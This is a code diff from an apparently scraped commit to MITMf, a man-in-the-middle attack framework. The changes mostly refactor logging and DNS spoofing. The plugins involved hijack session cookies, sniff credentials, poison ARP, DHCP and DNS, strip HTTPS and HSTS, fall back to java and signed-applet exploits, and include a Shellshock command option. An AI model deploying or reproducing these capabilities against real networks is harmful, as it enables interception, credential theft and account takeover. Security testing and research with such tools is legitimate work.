#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
logging.info("%s >> falling back to the signed applet attack" % vic_ip) mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip)
rand_url = self.rand_url() rand_url = self.rand_url()
rand_port = random.randint(1000, 65535) rand_port = random.randint(1000, 65535)

View file

@ -29,6 +29,7 @@ import re
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger('mitmf')
class Replace(CacheKill, Plugin): class Replace(CacheKill, Plugin):
name = "Replace" name = "Replace"
@ -70,14 +71,14 @@ class Replace(CacheKill, Plugin):
if self.search_str is not None and self.search_str != "": if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str) data = data.replace(self.search_str, self.replace_str)
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file? # Did the user provide us with a regex file?
for regex in self.regexes: for regex in self.regexes:
try: try:
data = re.sub(regex[0], regex[1], data) data = re.sub(regex[0], regex[1], data)
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception: except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))

View file

@ -25,7 +25,6 @@ import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import SystemConfig from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from core.wrappers.protocols import _DNS
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
@ -44,19 +43,13 @@ class HSTSbypass(Plugin):
except Exception, e: except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
if not options.manualiptables:
SystemConfig.iptables.DNS(1)
self.dns = _DNS.getInstance()
self.dns.enableHSTS(config)
self.output.append("SSLstrip+ by Leonardo Nve running") self.output.append("SSLstrip+ by Leonardo Nve running")
URLMonitor.getInstance().setHstsBypass(config) URLMonitor.getInstance().setHstsBypass(config)
def finish(self): #def finish(self):
if _DNS.checkInstance() is True: # if _DNS.checkInstance() is True:
_DNS.getInstance().stop() # _DNS.getInstance().stop()
if not self.manualiptables: # if not self.manualiptables:
SystemConfig.iptables.Flush() # SystemConfig.iptables.Flush()

View file

@ -32,6 +32,8 @@ import sqlite3
import json import json
import socket import socket
mitmf_logger = logging.getLogger('mitmf')
class SessionHijacker(Plugin): class SessionHijacker(Plugin):
name = "Session Hijacker" name = "Session Hijacker"
optname = "hijack" optname = "hijack"
@ -84,7 +86,7 @@ class SessionHijacker(Plugin):
cvalue = str(cookie)[eq+1:].strip() cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
logging.info("%s << Inserted cookie into firefox db" % client_ip) mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip)
if self.mallory: if self.mallory:
if len(self.sessions) > 0: if len(self.sessions) > 0:
@ -93,12 +95,12 @@ class SessionHijacker(Plugin):
temp.append(session[0]) temp.append(session[0])
if headers['host'] not in temp: if headers['host'] not in temp:
self.sessions.append((headers['host'], headers['cookie'])) self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip) mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
else: else:
self.sessions.append((headers['host'], headers['cookie'])) self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip) mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
#def handleHeader(self, request, key, value): # Server => Client #def handleHeader(self, request, key, value): # Server => Client
# if 'set-cookie' in request.client.headers: # if 'set-cookie' in request.client.headers:
@ -108,7 +110,7 @@ class SessionHijacker(Plugin):
# if self.urlMonitor.isClientLogging() is True: # if self.urlMonitor.isClientLogging() is True:
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message) # self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
# else: # else:
# logging.info(message) # mitmf_logger.info(message)
def mallory_server(self): def mallory_server(self):
host = '' host = ''

View file

@ -35,6 +35,8 @@ import threading
import re import re
import os import os
mitmf_logger = logging.getLogger('mitmf')
class Sniffer(Plugin): class Sniffer(Plugin):
name = "Sniffer" name = "Sniffer"
optname = "sniffer" optname = "sniffer"
@ -103,7 +105,7 @@ class Sniffer(Plugin):
if param.split('=')[0] == search_param: if param.split('=')[0] == search_param:
query = str(param.split('=')[1]) query = str(param.split('=')[1])
if query: if query:
logging.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query)) mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
except Exception, e: except Exception, e:
error = str(e) error = str(e)
logging.warning(request.clientInfo + "Error parsing search query %s" % error) logging.warning(request.clientInfo + "Error parsing search query %s" % error)
@ -809,7 +811,7 @@ class NetCreds:
if dst_ip_port != None: if dst_ip_port != None:
print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg) print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg)
# All credentials will have dst_ip_port, URLs will not # All credentials will have dst_ip_port, URLs will not
logging.info(print_str) mitmf_logger.info(print_str)
else: else:
print_str = '%s %s' % (src_ip_port.split(':')[0], msg) print_str = '%s %s' % (src_ip_port.split(':')[0], msg)
logging.info(print_str) mitmf_logger.info(print_str)

View file

@ -23,8 +23,9 @@ import sys
from core.utils import SystemConfig from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from plugins.plugin import Plugin from plugins.plugin import Plugin
from libs.dnschef.dnschef import start_dnschef
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
@ -32,7 +33,7 @@ from scapy.all import *
class Spoof(Plugin): class Spoof(Plugin):
name = "Spoof" name = "Spoof"
optname = "spoof" optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6" version = "0.6"
has_opts = True has_opts = True
req_root = True req_root = True
@ -86,21 +87,16 @@ class Spoof(Plugin):
dhcp.debug = debug dhcp.debug = debug
self.protocolInstances.append(dhcp) self.protocolInstances.append(dhcp)
else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
if options.dns: if options.dns:
if not options.manualiptables: if not options.manualiptables:
SystemConfig.iptables.DNS(0) SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
dnscache = DnsCache.getInstance() start_dnschef(options, self.dnscfg)
self.output.append("DNSChef v0.3 online")
for domain, ip in self.dnscfg.iteritems(): if not options.arp and not options.icmp and not options.dhcp and not options.dns:
dnscache.cacheResolution(domain, ip) sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
self.dns = _DNS.getInstance()
self.dns.enableDNS(self.dnscfg)
SystemConfig.setIpForwarding(1) SystemConfig.setIpForwarding(1)
@ -115,7 +111,7 @@ class Spoof(Plugin):
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
@ -126,9 +122,6 @@ class Spoof(Plugin):
for protocol in self.protocolInstances: for protocol in self.protocolInstances:
protocol.stop() protocol.stop()
if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
if not self.manualiptables: if not self.manualiptables:
SystemConfig.iptables.Flush() SystemConfig.iptables.Flush()

View file

@ -23,6 +23,7 @@ from cStringIO import StringIO
from plugins.plugin import Plugin from plugins.plugin import Plugin
from PIL import Image from PIL import Image
mitmf_logger = logging.getLogger('mitmf')
class Upsidedownternet(Plugin): class Upsidedownternet(Plugin):
name = "Upsidedownternet" name = "Upsidedownternet"
@ -65,7 +66,7 @@ class Upsidedownternet(Plugin):
im.save(output, format=image_type) im.save(output, format=image_type)
data = output.getvalue() data = output.getvalue()
output.close() output.close()
logging.info("%s Flipped image" % request.client.getClientIP()) mitmf_logger.info("%s Flipped image" % request.client.getClientIP())
except Exception as e: except Exception as e:
logging.info("%s Error: %s" % (request.client.getClientIP(), e)) mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e))
return {'request': request, 'data': data} return {'request': request, 'data': data}

View file

@ -6,7 +6,6 @@ dnspython
user-agents user-agents
configobj configobj
pyyaml pyyaml
NetfilterQueue >= 0.6
ua-parser ua-parser
Pillow Pillow
pefile pefile